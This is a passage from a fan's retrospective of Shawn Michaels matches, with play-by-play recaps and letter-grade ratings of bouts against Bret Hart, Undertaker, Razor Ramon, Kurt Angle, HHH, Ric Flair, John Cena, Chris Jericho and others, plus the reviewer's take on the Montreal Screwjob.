A belly to belly suplex gets two for Bret so it’s time for a slugout. An O’Connor roll doesn’t work for Shawn as Bret kicks him out to the floor on the kickout. A suicide dive takes Shawn down again and we’ve got twelve minutes left. Back in again and Bret hits a German suplex for two. They slug it out but Shawn can’t hang with Bret at this point. Hart is too exhausted to follow up though so it’s back to the camel clutch.

Ten minutes to go now and the camel clutch eats up about two of that. It’s off to a regular chinlock with eight minutes to go and Shawn fights up. They clothesline each other down and more time is being burned up. A superplex puts Shawn down again but he STILL manages to block the Sharpshooter. Hart settles for a half crab as the punishment on the back continues. Shawn makes a rope but gets taken down by a backbreaker with five minutes to go.

Bret loads up his middle rope elbow but jumps into a boot to put both guys down again. A dropkick puts Bret in the corner as Shawn gets his nineteenth win according to Shawn. Four minutes to go now. There’s the flying forearm and the nip up (the camera misses it) as Shawn picks up the speed. A jumping back elbow puts Hart down and a top rope spinning ax handle gets two. The top rope elbow hits with two and a half minutes left. A good looking gutwrench powerbomb gets no cover with two minutes to go.

Shawn busts out a moonsault press for two as Bret is trying to hang on. Ninety seconds left and Shawn hits a middle rope rana for two more. Shawn slams him down and goes up top but he can’t follow up with a minute left. Shawn tries another rana but jumps into the Sharpshooter with thirty three seconds left in the match. The place is going NUTS but Shawn amazingly holds out until the time limit expires.

BUT WAIT!

As Bret leaves, Gorilla Monsoon orders the match to continue under sudden death rules. As Bret puts it: why? This was never agreed to and Bret is indeed getting screwed here. The bell rings and Bret is TICKED. He goes after Shawn’s back and hits a big backdrop. Bret whips Shawn into the corner, and in one of two moments that made me jump to my feet when I was watching it live, Shawn jumps over Bret out of the corner and hits Sweet Chin Music to put both guys down. Michaels gets up, tunes up the band, and kicks Bret’s head off for the pin and his first world title.

Rating: B. After an hour and five minutes of this match, there’s one word that can sum it up: LONG. That’s the problem here: it did not need to be an hour long and would have been much better suited as a regular one on one match. Either that or have a few falls in between, as having it be one very long glorified one on one match makes the stipulation seem pretty lame. The psychology is good though and it’s not a bad match by any means. It just could have had over 20 minutes cut out and you could have had the same match, and that’s not a good sign. Oh and what happened to Bret’s shoulder injury?

From In Your House XVIII.

Undertaker vs. Shawn Michaels

Inside the Hell in a Cell and the winner gets a shot at Bret next month at Survivor Series. The thunder starts to rumble and the gong goes off, bringing the crowd back to life for the first time in a long while. The entrance takes it sweet time as Shawn is forced to think about what’s coming. Undertaker turns the lights back on and Shawn is terrified as reality sets in.

The slow stalking around the cage floor begins before they head back inside, only to have Shawn launched across the ring. A ram into the buckle sends Shawn flying again so he tries some punches, only to be whipped HARD across the ring again. Undertaker rams his shoulder into Shawn’s before hitting Old School for no cover. A slam and legdrop get two on Shawn and some big right hands send Shawn down again. Michaels is thrown over the top and out to the floor as the pain is about to begin.

Undertaker continues to walk very slowly around the ring, hitting a single right hand after another. He tries a powerbomb on the floor but Michaels fires off right hands, only to be rammed back first into the cage wall. Now Undertaker picks him up and rams Shawn back first into the post, then the wall, then back to the post and back to the wall again. Shawn manages to escape being rammed in again and sends Undertaker into the wall, but Undertaker shrugs it off and punches Shawn down.

Shawn is sent face first into the steps and choked a bit but he FINALLY sends Undertaker into the post to get a breather. Since the outside doesn’t work at all for Shawn, he heads back inside, only to have his neck snapped across the top rope. A dive over the top takes out Undertaker and an elbow off the apron keeps Undertaker down. Michaels slams the steps down onto Undertaker’s back a few times before piledriving him down onto said steps.

A top rope ax handle sends Undertaker into the cage again and we head back inside. Shawn finds a chair under the ring and the fans are very pleased. Some chair shots to the back put Undertaker down for two so Shawn ties his arms up in the ropes. He doesn’t tie up the feet though and Undertaker kicks him down before backdropping Shawn onto the cameraman. Shawn beats up the cameraman, which becomes important later.

Michaels gets in a cheap shot on Undertaker to knock him to the floor before taking a breather. Back inside and the flying forearm and nip up make Shawn a little more cocky. The top rope elbow gets two as Slaughter has the door unlocked to get the cameraman some medical attention. Sweet Chin Music lays Undertaker out but he sits up. Shawn tries to run through the open door but Undertaker grabs him almost immediately. Michaels is catapulted into the cage wall (on the outside), cutting him open. Now the fun begins.

In one of the iconic shots of the match, Undertaker puts Shawn on his shoulder and rams him into the cage wall again. Shawn collapses next to the cage but Undertaker is just warming up. A quick low blow puts Undertaker down and with nowhere else to go, Shawn climbs up the side of the cage. He makes it all the way to the roof but Undertaker follows him. Undertaker counters a piledriver with a backdrop as we go to a wide shot to show how awesome this looks.

A gorilla press slam puts Shawn down on the roof again and a kick to the ribs sends Shawn to the edge. He tries to climb down, but in the really famous shot of the match, Undertaker stomps on his hands, sending Shawn flying off the cage and through the announce table. Undertaker still isn’t done and throws Shawn onto the other announce table as Shawn’s face is just covered in blood.

The stalking continues as the announcers are losing their minds at all this. Michaels crawls back into the Cell but can barely see through the blood. A running clothesline puts Shawn down on the mat before taking him to the top for a SUPER CHOKESLAM. Now we get to the poetic justice portion with Undertaker grabbing the chair. A big chair shot to the head puts Shawn down and Undertaker signals for the tombstone…..and the lights go out.

Organ music begins to play and Paul Bearer walks a huge man in red down to ringside. Vince: “THAT’S GOT TO BE KANE!” He rips the door off the Cell and climbs into the ring to stare down Undertaker. Undertaker is STUNNED as Kane raises his arms up and pulls them down, causing fire to shoot up from the ring posts. Kane tombstones Undertaker down and walks out, allowing Shawn to drape an arm over Undertaker for the shocking upset.

Rating: A+. This is one of the best matches of all time and the culmination of one of the best put together stories ever. While the brawling is incredible and the violence is off the charts, the storytelling carries this. Undertaker stalking Shawn to start and getting every single bit of punishment in that he could until Shawn used his speed and intelligence to get some control was brilliant. The torment Undertaker put Shawn through was perfect with Michaels being completely destroyed throughout the match and being dead to rites until the ending.

Kane making his debut here was perfect as well, with the story being just far enough in the past that people weren’t thinking about it but not far enough that everyone knew who Kane was as soon as he walked out. This set up a feud that went on and off for thirteen years between the brothers, but we’ll get to that later. By the way, I told you Fake Diesel would be worth something someday. He’s the guy playing Kane.

And of course from Wrestlemania X.

Intercontinental Title: Shawn Michaels vs. Razor Ramon

Shawn has Diesel with him here. Diesel is told to leave but just doesn’t because that’s the kind of guy he is. Basic stuff to start with Shawn blocking a hip toss but getting chokeslammed instead. They hit the ropes to build some speed and Shawn hits a neckbreaker. Razor gets sent to the floor and there’s a clothesline from Diesel, earning him another ejection which actually works this time.

Anyway Shawn gets punched in the jaw and Razor takes over again. Shawn is knocked into the corner before a BIG clothesline puts him on the floor. Razor exposes the concrete but we head back inside before he can use it. The Razor’s Edge is loaded up but Shawn backdrops Ramon over the top and onto the concrete, possibly injuring an elbow. Shawn gets the ladder but Razor jacks his jaw to stop it. The ladder is slid inside but Shawn hits a baseball slide to knock it into Ramon’s ribs.

Back inside again and the ladder is rammed into Razor’s ribs both in the corner and on the mat. Shawn throws the ladder onto Razor’s back which looks SICK. He tosses it at Razor against the ropes and goes for a climb, only to have Razor pull Shawn’s tights down and give us a rather unpleasant (or pleasant depending on your preferences) view. Not that it matters as Shawn knocks him down and climbs again, this time hitting a pretty famous splash to crush Razor again.

Razor saves another climb by shoving the ladder over, sending Shawn onto the top rope. We get a camera shot from above the ring, showing both guys laid out on the mat. Cool shot. Back up and Michaels is whipped into the ladder in the corner, knocking him out to the floor. Razor rams the ladder into Shawn’s chest with his back against the post. If that’s not enough, Razor launches Shawn into the ladder against the apron to keep Michaels in agony.

Back in and Ramon BLASTS Shawn with the ladder to knock him to the outside again. Razor climbs up but Shawn dives off the top rope to knock him down. The ladder falls onto Shawn in the process to keep both guys on the mat. They both start to climb but the ladder is bent. Shawn is higher up but can’t hang in a slugout with Razor. Michaels gets punched down but the ladder gives way under Razor, sending him down.

Ramon climbs again but Shawn dropkicks the ladder which doesn’t topple over this time. In a smart move, Shawn pushes the ladder over onto Razor’s back to take control again. A big piledriver puts Razor down so Shawn goes to the corner. In another famous visual, Shawn rides the ladder down onto Razor, crushing him yet again. Since he’s a jerk though, Shawn puts the ladder over top of Razor, but Ramon gets up and knocks Shawn off the ladder. Michaels gets tangled in the ropes, allowing Razor to climb up to unify the titles.

Rating: A+. This is one of the matches that reignited the midcard scene after things had died down for a bit. It also paved the way for the insane style that would start to dominate about five years later. That being said, it’s still a freaking AWESOME match with some iconic spots such as the splash. It also started Shawn on the roll of a lifetime, as the next year he would be in the world title match at Wrestlemania then win the title the following year. This match is required viewing for fans.

We’ll change from the classics to one I bet you’ve never seen and probably don’t know exists. Back in 1998, Shawn broke his back and didn’t wrestle until 2002…..except for a match in his TWA promotion on April 4, 2000.

TWA Title: Shawn Michaels vs. Venom

Bunkhouse Brawl, meaning anything goes. Shawn is champion after being handed the title by Justin Credible. Venom is a big guy that looks like a tall Jerry Sags minus the tattoos. He’s introduced as the owner and CEO of the TWA and brings a bunch of weapons. Shawn comes out to his WWF music and in street clothes before throwing some weak rights. Venom kicks him in the face as the announcers imply that this is title vs. ownership of the company.

They head outside with Shawn going back first into the barricade and drops him throat first across for good measure. Back in and Shawn comes back with a trashcan to the head followed by some crutches to the spine. Shawn takes his boot off and nails Venom in the face as the announcers explain some backstory: Venom was champion and lost a match for control of the company, only to have the winner turn on Shawn and give Venom the company. Justin Credible then won the title and gave it to Shawn, setting this up.

Shawn finds a small ladder and nails Venom in the face before dropping a very safe fist to Venom’s face. Back to the floor with Venom busted open before heading inside again for right hands to the cut. A baseball slide sends the ladder into Venom’s face and they head back to the floor and into the crowd. Venom nails a low blow and hits him in the back with a trashcan. He stacks up two tables in front of a platform before taking the fight onto said platform. Of course Shawn blocks a throw and hiptosses Venom through the tables in a big crash.

They head back inside with Venom throwing salt in the eyes, allowing him to nail Shawn with a Singapore cane. Apparently that’s a callback to earlier in the story. A bloody Shawn is handcuffed to the ropes and Venom nails him with the cane. Venom says you’re about to see history but some guy named Shooter Schultz comes in and suplexes Venom onto a table. That’s one heck of a table though as two suplexes and a powerbomb don’t break the freaking table. Schultz uncuffs Shawn, allowing him to powerslam Venom through the table, setting up Sweet Chin Music for the pin.

Rating: C+. This was shockingly good with Shawn clearly not being able to do all his usual stuff but actually moving instead of just standing there in the middle of the ring. It was very much like a Vince McMahon match as he can’t wrestle but can still brawl, and that’s all the fans needed to see, plus Chin Music of course.

Next up is a fairly classic match from Wrestlemania XXI.

Shawn Michaels vs. Kurt Angle

This was when Angle was the wrestling machine so this should be awesome. Kurt takes in the YOU SUCK chants because that’s how awesome he is. I should mention the set as it has the Hollywood sign on one side and a movie marquee on the other side which says Now Playing and then the match, making it feel all the more special. They stare it down to start until Shawn slaps him in the face.

Angle takes it to the mat and rides Shawn to frustrate him. Shawn gets to a rope and gives Kurt a look like “o………..k then time for a new plan.” Michaels grabs a headlock takeover to slow things down but the fans are behind Kurt. Kurt fights up but can’t escape the hold without using the ropes. Nice storytelling there with Shawn gladly going to the ropes but Angle going to them out of frustration.

Off to a short arm scissors by Shawn for a bit but Angle uses raw power to lift Shawn up into the air. However, since Shawn had that move used on him back in 1992 by British Bulldog, he knows how to roll through into a sunset flip for two. See, THAT is how you play to older fans with some awesome psychology. Back to the headlock as Angle is getting frustrated by Michaels dominating the mat.

Angle takes it into the corner to brawl with Shawn but Shawn ties him up instead. This is also a callback to Wrestlemania XII where Shawn used the exact same strategy on Bret. Angle grabs a quick ankle lock but Shawn rolls through and a Cactus Clothesline puts them both on the floor. Angle loads up the announce table but opts to pick up Shawn in the Angle Slam and ram Shawn back first into the post to take over again.

Back in and Angle gets two off a suplex before putting on a body vice with a chinlock. The fans are split here but Shawn fights up with some chops to take over. Kurt will have none of that though and suplexes Shawn down to stop the comeback bid. Another belly to belly gets two and it’s off to a chinlock with a knee in Shawn’s back. Michaels gets up again and they slug it out with Angle taking Shawn down with a hard clothesline.

Shawn blocks a superplex attempt but Kurt rolls away from the top rope elbow. There go Angle’s straps but Shawn counters the Angle Slam and backdrops Kurt to the floor. Shawn goes up and half dives/half falls onto Angle with a cross body. As they get back in, Angle tries his German suplex off the apron but Shawn kicks him low like a good former villain. With Angle on the announce table, Shawn hits a gorgeous springboard spinning cross body to send Angle onto the floor as the table doesn’t break.

Both guys make it in on different sides of the ring at nine. Angle is bleeding from the mouth. They slug it out again with Shawn taking over. There’s the forearm and nip-up as Shawn’s back is perfectly fine all of a sudden. Now the big elbow hits but the superkick is countered into the ankle lock but Shawn FINALLY makes the rope. The Angle Slam is rolled through but Angle counters into the ankle lock but Shawn counters into a rollup for two. Another superkick is caught and there’s the Angle Slam for two.

To show how angry Kurt is, he puts his straps up just so he can take them down all over again. In a scary spot, Angle tries the moonsault but Shawn doesn’t roll away far enough, sending Angle’s face into Shawn’s side. Shawn goes up again but Angle runs up the corner for the belly to belly off the top. Somehow that only gets two and Angle yells at Shawn, talking about how Michaels’ days are done. Shawn shoves him back and superkicks Angle down but he can’t follow up.

The cover eventually gets two and Shawn isn’t sure what to do now. He slowly stands up but Angle grabs the ankle lock again. Shawn tries to kick Angle off but Kurt won’t let go. They’re in the middle of the ring with Shawn writhing in pain. Angle puts on the grapevine and Shawn is all but dead. He hangs on for as long as he can before FINALLY tapping out to give Angle the win.

Rating: A+. Angle and Shawn at Wrestlemania having a masterpiece. Who would have ever seen that coming? The match was excellent all around and the match never stopped being great. They would have another masterpiece at Summerslam which again shouldn’t surprise anyone. Great match here and definitely worth seeing if you haven’t before.

We’ll jump back to a match that’s much more infamous than great. From Survivor Series 1997.

WWF World Title: Bret Hart vs. Shawn Michaels

Shawn is European Champion coming into this for no particular reason other than he wanted Bulldog to not have the title anymore. Shawn wipes himself with the Canadian flag during his entrance to further make himself public enemy #1. We get the long tracking shot for Bret’s entrance which is always cool for some reason. Shawn jumps Bret to start but Bret snaps on him and beats Shawn right back down to the delight of the crowd.

A HARD clothesline puts Shawn on the floor and Bret is going off. I don’t think the bell rang yet. Bret takes it to the crowd and Shawn is reeling. Vince, Slaughter and a half dozen referees are at ringside now. JR talks about how this could be Bret’s last match if he loses. Shawn gets an American flag bandana and chokes him into the crowd. Remember the match hasn’t started yet. Bret backdrops Shawn over the barricade and back to ringside.

Shawn keeps trying to piledrive Bret on the concrete but Hart keeps escaping. They head back into the crowd with Bret in total control. They go to the entrance and Bret decks a referee. Back into the ring they go and the bell FINALLY rings as Bret chokes Shawn with a Fleur de Lis. Shawn comes back with the forearm and nipup as the fans chant that Shawn is gay.

Michaels chokes with the flag as Bret has a busted hand. Shawn stalls a lot because that’s the kind of guy he is. Back to the floor with Shawn pounding on Bret and spitting on the crowd. Shawn drops Bret face first on the steps and breaks a Canadian flag over his knee. Back in and Shawn hits a top rope ax handle and it’s off to a front facelock. Bret escapes in what has to be the loudest reaction to a broken front facelock of all time.

Shawn comes back and slams Bret down but Bret rolls through a cross body off the top for two. Bret puts on the Hartbreaker, the figure four around the post. Bret goes after the knee in almost perfect Ric Flair fashion, down to the cannonballs down to the knee and a Figure Four. Shawn finally turns it over and Bret gets a rope. A Russian legsweep gets two for Bret as does a snap suplex. Bret goes up but Shawn pulls the referee into the way so the shot hits Hebner instead. Shawn rakes Bret’s eyes, puts Bret in the Sharpshooter, and Hebner calls for the bell to give Shawn the title in the most infamous moment ever in wrestling.

Rating: B-. I’m only talking about the match here. The main thing to keep in mind about the famous ending is that there was about twenty minutes of brawling and of the actual match before the finish. I think that’s something people forget because of the famous part. The match we got was quite good, which isn’t really surprising given how familiar these two were with each other. It’s no masterpiece, but it felt like an epic encounter, which is what it needed to do.

Now we’ll get to the big white elephant in Montreal. I’ve not going to pretend like I have some big insight into what happened because I certainly don’t. Books have been written about what happened here and there’s no point in rehashing the whole thing all over again. In short, it was Bret’s last match, he didn’t want to lose the title in Canada, a screwy finish was agreed on, Vince changed the ending and screwed over Bret, Bret wasn’t seen in WWE for almost thirteen years.

After all the years since then, I think both parties were wrong, but Bret needed to get over himself. So what if he had to lose the title in Canada? I get that he couldn’t stand Shawn, but for someone who seems to pride himself on being oh so professional, it’s pretty lame to say he doesn’t want to lose the title in another country when he made it clear he was leaving.

Vince was in major trouble at this point and was under a lot of pressure. While I don’t think he believed Bret would trash the title on Raw, he had to be worried about something happening, like the title having no value if Bret never lost it, which is understandable. Did he go about the issue the right way? No, but it wasn’t a normal circumstance. Vince did what he thought was best and while it caused a ton of controversy, it was one of the few things he could do. There are a to of different ways you can look at it, and there isn’t a single right answer.

WWF World Title: Shawn Michaels vs. Diesel

Remember this is no holds barred so anything goes. We see Omaha resident and legendary wrestler Mad Dog Vachon at ringside who will become important later. No flashy entrance from Shawn as he just power walks to the ring and takes the belt off on the way. He pounds away on the much bigger Diesel but a knee to the ribs puts the champion down. A big dropkick sends Diesel to the floor and a moonsault press takes him down onto the concrete.

Shawn steals a boot from the Spanish’s announcer and lays out Diesel back inside for two. Back up and Diesel whips Shawn up and over the corner before hammering him off the apron and face first into the barricade with a nasty bump. Back in and Diesel runs Shawn over again before walking around very slowly. Snake Eyes (a face first drop onto the buckle) drops Michaels again and Diesel yells at Shawn’s trainer Jose Lothario that this is how we do it in the 90s.

A big side slam drops Shawn again and Diesel chokes the referee with his wrist tape for no apparent reason other than evil. Diesel steals the referee’s belt to whip Shawn even more before wrapping it around Shawn’s neck and hanging him over the top rope. He even ties the belt around the middle rope so he can grab a chair to blast Shawn in the back. They get back in the ring and another chair shot to the back puts Shawn down yet again. A third shot hits the top rope, sending the chair bouncing back into Diesel’s head.

Now Shawn grabs the chair but Diesel hits him low before Shawn can swing it. A BIG backdrop keeps the pressure on Shawn’s back and gets a two count. Diesel cranks on Shawn’s neck but Michaels fights up, only to be dropped with a series of forearms, knocking him out to the floor. In the big spot of the match, Diesel Jackknifes Shawn through the announce table (big deal back then), further destroying his back. That looked AWESOME and Vince begging Shawn to “just let it be over” makes it even better.

Diesel tries to pull Shawn back in but Michaels finds a fire extinguisher under the ring and blinds the big man so he can pound away. The fans are going NUTS over this comeback. Shawn pulls in a chair and goes to town on Diesel but lets Diesel get back up for a clothesline and a big boot to the jaw. Diesel loads up another Jackknife but Shawn punches his way out of it and drops a top rope elbow to the big man’s chest. Shawn tunes up the band for the superkick but Diesel blocks the boot and clotheslines Shawn down again.

A third clothesline puts Shawn on the floor as Vince gets in the very almost famous line of “We said it would be no holds barred but we didn’t expect this.” Diesel drops Shawn throat first on the barricade before going over to Mad Dog Vachon. He chokes Vachon down and RIPS OFF HIS PROSTHETIC LEG. Back in and Shawn hits Diesel low, blasts him in the face with the leg and hits Sweet Chin Music to retain the title and blow the roof off the place.

Rating: A+. This was a WAR and one of the best brawls you’ll ever see. They were beating the tar out of each other out there with Shawn bumping around like a maniac and making Diesel’s offense look great. This gave Shawn the credibility that he needed as champion to show he could fight as well as wrestle and it was a great performance to boot. It’s one of my all time personal favorite matches and still more than holds up over seventeen years later. Probably the best In Your House match to this point.

Shawn would come back from four and a half years off for this showdown at Summerslam 2002.

Shawn Michaels vs. HHH

Shawn is in jeans tonight to hide the knee braces. Michaels comes out with right hands but HHH sends him to the outside. Not that it matters as Shawn is right back inside with more right hands. HHH is tossed to the floor and Shawn hits a nice dive to take him out. Remember that this is Shawn’s first match since March of 1998, or four and a half years ago.

A clothesline puts HHH down again and it’s garbage can time. HHH gets in a shot to the ribs and drops Shawn face first onto the barricade to get a breather. Shawn comes back in and is tossed over the top again but he skins the cat to a big pop. A trashcan shot caves in HHH’s head and a top rope fist to the head puts him down again. Shawn tunes up the band but HHH counters into a backbreaker to get to the meat of the match.

Another backbreaker has Shawn in agony and flopping like a fish as only he can. HHH gives a crotch chop and kicks Shawn down with ease. It’s chair time but a shot to the back only gets two. Shawn escapes a suplex into an O’Connor Roll for two but walks into a facebuster. A DDT onto the chair is only good for two but Shawn is busted open. HHH takes off Shawn’s belt and whips him in the back as the screaming continues.

And now it’s sledgehammer time. Shawn gets in some shots to the ribs to escape and HHH drops the hammer. The fans are behind HBK but he gets whipped into the corner and it’s off to the abdominal stretch. HHH gets caught holding the ropes and Hebner physically breaks the hold before yelling HHH into the corner. They slug it out again and HHH loads up a superplex but Shawn shoves him off, only to get crotched. HHH blasts Shawn’s wide open back with the chair and the crowd is somber.

A backbreaker onto the chair has Shawn lying motionless but HHH only gets two. He covers a few more times and HHH is very frustrated. A side slam onto the chair gets another two as JR screams for a fast count. Shawn counters a Pedigree onto the chair with a low blow and both guys are down. The HBK chant starts up again and HHH has the chair superkicked into his face. Now HHH is busted open too and Shawn slugs away before hitting the forearm and the nipup to blow the roof off the place.

Shawn backdrops him down and cracks HHH in the head with the chair. HHH is whipped over the corner and out to the floor where Shawn gets to beat on him with the belt. Shawn knocks him onto the announce table and hits him in the head with Hugo Savinovich’s shoe (Lawler: “A heel for a heel!”). HHH is sent into the steps and here’s a ladder being slammed into HHH’s face.

Some shots to the ribs have HHH screaming and the ladder is placed against the post with HHH being catapulted face first into the steel. That’s only good for two so Shawn heads outside again to get the ladder. HHH baseball slides the ladder into Michaels and pounds away at the cut head. For some reason HHH tries to come in off the top and gets caught in a superplex for two.

The crowd is losing their minds off these kickouts. A sunset flip gets two for Shawn but he gets caught by the knee to the face for two. HHH brings in the steps but Shawn drop toeholds him face first into the steel. A clothesline puts HHH on the floor and Shawn puls out a table. Well why not since we’ve used everything else.

Shawn puts him on the table and splashes him from the top rope in the big spot of the match. Both guys are DONE and the fans are in awe. Shawn sends the ladder back inside, says he loves us all, and drops the elbow from the top. Michaels has that look in his eye and tunes up the band but HHH catches the kick coming in. He loads up the Pedigree but Shawn sweeps the legs and rolls HHH up for the pin to blow the roof off the place again.

Rating: A+. Anyone who has read my stuff over the years knows I do not like a lot of things about HHH. For tonight, forget all that because this is one of the best matches of all time. I’ve seen this match several times and it still had me smiling to see Shawn make comeback after comeback and give HHH every single thing he deserved. It goes to show how great Shawn is as he came in after being gone nearly FIVE YEARS and does this. That’s remarkable when you think about it and is one of the greatest performances of all time.

Let’s talk about the match a little bit. It’s an excellent example of how to book a comeback, which is probably Shawn’s greatest strength. Shawn had the people believing that he was DEAD but he kept hanging in there time after time and made the huge comeback just like the crowd wanted. The other thing that works so well is the ending which a lot of people overlook.

The crux of this match was the destruction of both guys and seeing how far they could take it. At the end though, Shawn uses a basic wrestling counter and a cradle to win, totally shifting gears and beating HHH, the Cerebral Assassin, by thinking. That’s INCREDIBLE psychology and the perfect way to end this match. All in all, it’s a masterpiece and arguably the best performance of all time, all things considered.

Post match HHH becomes the universal evil by hitting Shawn square in the back with the sledgehammer and leaving him laying. Shawn is taken out on a stretcher.

Next up is a Wrestlemania double shot, starting with Shawn retiring a legend.

Ric Flair vs. Shawn Michaels

Feeling out process to start with neither guy being able to get the advantage. A hip toss puts Shawn down and Ric shouts about being Old Yeller, which Shawn referenced to set this up. Shawn chops him hard and Flair’s lip is bleeding. They slug it out in the corner with Shawn taking over and going up top, only to be slammed down. Now Flair goes up and hits a cross body for two. Jerry: “IT ACTUALLY WORKED!”

Ric goes after the knee but Shawn kicks him to the floor. Shawn loads up an Asai Moonsault and hits table, landing square on the edge ribs first. That looked HORRIBLE and Shawn is in big trouble. Back in and a belly to back suplex gets two for Flair. Naitch stays on the ribs and hits a good looking suplex for two. Shawn comes back with a backdrop to send Flair to the floor and follows up with a moonsault which mostly hits floor.

Both guys make it back inside at nine and they chop it out. The forearm and nipup connect and Shawn starts slugging away. A slam sets up Shawn’s top rope elbow but it hurts his ribs in the process. Michaels tunes up the band but can’t bring himself to do it, allowing Flair to grab the Figure Four which is quickly broken. They fight to the mat and try Flair’s bridge up out of a pinfall into the backslide but Ric is just too old.

Instead it’s a sunset flip for two for Shawn but Flair takes out the knee with a chop block. The Figure Four is countered into an inside cradle for two. NOW the Figure Four goes on in the middle of the ring but Shawn finally rolls it over into the ropes. Back up and Shawn hits the superkick out of nowhere but the cover only gets two. Shawn tunes up the band again but gets kicked low for two.

Michaels comes back with a reverse Figure Four but Flair manages to crawl to the ropes. A quick rollup with a handful of trunks gets two for Flair and he fires off chop after chop. Out of nowhere Shawn superkicks Flair down but Michaels can’t cover. Flair slowly gets up and says bring it. Shawn looks at him, says “I’m sorry. I love you.” and superkicks Flair into retirement.

Rating: B. This is a hard one to grade. The match itself was entertaining, but it wasn’t supposed to be a competitive spectacle. This was designed to give Flair a great match to go out on and they almost did that. They made no secret about who was winning and that’s ok, but at the same time it was like delaying the inevitable. It was a good match to send him out on and the fans were happy to see the famous spots one more time.

Flair gets a well deserved standing ovation. This match should have closed the show and was going to, but Flair said no because the title match should close the show. Usually I would agree but in this case, Flair should have ended the show. Ric takes the long walk up the ramp to nonstop applause.

And another of Shawn’s Wrestlemania main events, this time from Wrestlemania XXIII.

Raw World Title: John Cena vs. Shawn Michaels

Remember that they’re tag champions here but neither guy wears the belt. I can’t say I blame them of course. Cena’s special entrance this year is driving a muscle car from “the parking lot” into the arena due to being in Detroit. They circle each other to start before Shawn slaps him in the face. A quick headlock doesn’t do much for Shawn so he uses his speed advantage to pop John with some right hands. Back to the headlock and it works a bit better this time as Shawn takes Cena down to the mat.

Cena has had enough of this defense thing and rings Shawn’s bell with a clothesline. Shawn is sent to the apron but he tosses Cena from the ring and out to the floor. A BIG chop staggers Cena but Shawn’s Asai Moonsault hits mostly table and Shawn is hurt. Luckily for him though Cena is even more hurt as they head back inside. Shawn chops away in the corner before going after Cena’s knee. The leg is wrapped around the post and Cena is in trouble. The referee asks Cena if he can continue and of course Cena says yes.

Shawn keeps kicking at the leg before wrapping it around the ring rope. With Cena down in the corner, Shawn stares straight at him to play even more mind games. Back up and John hits a big right hand to send Shawn flying across the ring. Shawn charges straight back at him with a shoulder into the ribs in the corner to keep control. Michaels charges again but Cena’s leg gives out and Shawn goes head first into the post, busting him open.

Cena has had enough of getting beaten up so he punches Shawn down before firing off some mounted right hands. The ProtoBomb and Shuffle hit but Shawn punches his way out of the FU. Cena is sent into the corner but manages to duck Sweet Chin Music. The referee isn’t so lucky though and is knocked senseless. Cena tries the FU but is countered into a DDT to put both guys down.

With no referee in sight, Shawn rolls to the floor and hits a sick piledriver onto the steps. The THUD when Cena’s head hit was a little scary. The back of Cena’s head is cut open BAD on top of that. Back in and here’s a second referee but the count only gets two. There are the forearm and nip-up as the blood flows down Shawn’s face. The top rope elbow connects but Cena blocks Chin Music with a big clothesline to put both guys down again.

They slug it out in the middle of the ring but the FU is countered again into a sunset flip for two. Shawn’s leap frog is caught in the FU but Cena is too banged up to cover. The very delayed cover gets two and the champ is getting frustrated. With nothing else to do he tries an FU off the top, only to be shoved off by Shawn. Michaels dives at Cena but gets caught in the FU position. He counters that as well though by landing on his feet, only to miss the superkick and have Cena try for the STFU. Cena keeps trying for it but gets small packaged down for two instead.

Shawn misses an enziguri attempt and now the STFU is on. Cena cranks back on it but Shawn is only a few inches away from the rope. As Shawn starts to black out he grabs the rope and Cena has to break. He takes a bit too long though and gets in an argument with the referee, allowing Shawn to kick Cena’s head off. Another delayed cover gets two and both guys are down. In a cool spot, both guys have to lean on the other to get up. The FU is countered again but Shawn can’t avoid the STFU again. Cena cranks back on it and Shawn has no choice but to tap out.

Rating: A-. This was a much better match than the HHH match from the year before for a few reasons. First of all, there was a story behind the match. As simple as it was, Shawn being Cena’s partner gave them a bond and seeing them fight was something interesting to see. Second, the drama was better here. Cena felt like he was in real trouble and that the title was in danger, which I never felt last year. It’s a better match overall and they would have even better ones in the future.

In 2008, Shawn would have an awesome feud with Chris Jericho, culminating with this match at No Mercy 2008.

Raw World Title: Shawn Michaels vs. Chris Jericho

Big match intros are out of the way and we’re ready to go. Shawn goes for the arm to start but then says screw this and tries Chin Music. Jericho moves and Shawn charges shoulder first into the post. Out to the floor and Jericho throws Shawn at the ladder but Shawn climbs it quickly and comes off with an even quicker cross body. Jericho throws him into the post shoulder first again and goes for the ladder.

Shawn drop toeholds him though and Chris’ face hits the ladder. There’s a second ladder but Jericho takes Shawn down and hooks the Walls on the floor. For some reason he lets it go and brings the ladder into the ring, but Shawn teeter totters it into his face. Back in Shawn climbs up but Jericho shoves him off and into the top rope. The ladder goes into Shawn’s face and Jericho is bleeding from the lip a bit.

There are two ladders in the ring now. Shawn counters the bulldog and sends Jericho’s leg into the ladder. Shawn lays a ladder across the bottom rope and drops Jericho’s knee onto it before hooking up a Figure Four. After it’s broken, Jericho kicks one end of the ladder into the post so that it bounces back and hits Shawn in the shoulder and then into the face. It might have been to the previously injured eye. Jericho slams a ladder on Shawn’s head in a FREAKING OW MAN moment.

He climbs up but Shawn shoves it well enough to make Jericho stop and kick him away, causing Jericho to fall off and land on his feet. Chris puts a ladder on the top rope in the corner with the top of it pointing into the ring. Shawn throws Jericho onto the ladder and he falls out to the floor. Out to the floor and Shawn sets up the mega ladder. He hits Jericho with the ladder a few times to keep Jericho down and loads up the announce table.

Jericho is placed on the table but gets up and climbs up the ladder after Shawn. He gets in a few shots and tries a belly to back through the table. Shawn shifts his weight and lands on top of Chris, but they’re both dead anyway. Back in the ring and Shawn goes up, looking to ride the ladder down onto Jericho. The champ is ready for him though and dropkicks the ladder into Shawn, crotching him.

Jericho loads up a superplex but Shawn shoves him off. He tries the elbow but Jericho pulls the ladder onto himself so that the elbow hits the steel coming down. FREAKING OW MAN! Shawn tries the superkick but Jericho pulls up a ladder and slams it into Shawn’s head. Jericho puts the ladder on Shawn and hits the Lionsault onto it, which would seem to take a lot more out of Jericho than Shawn.

He puts the ladder on top of Shawn and tries to go up but Shawn kicks the ladder forward, sending Jericho crashing down with NOTHING to catch his fall. He’s holding his knee on the floor while Shawn slowly climbs. Jericho gets back in and shoves the ladder over, sending Shawn into the ropes. They both climb and slug it out but Jericho gets his leg caught in the ladder and is hanging upside down. Cue Cade for the save so Shawn superkicks him down. Jericho is back up and it’s another race. They both grab the belt and it comes unhooked and it’s a tug of war. Jericho headbutts the bad eye to pull down the title to retain.

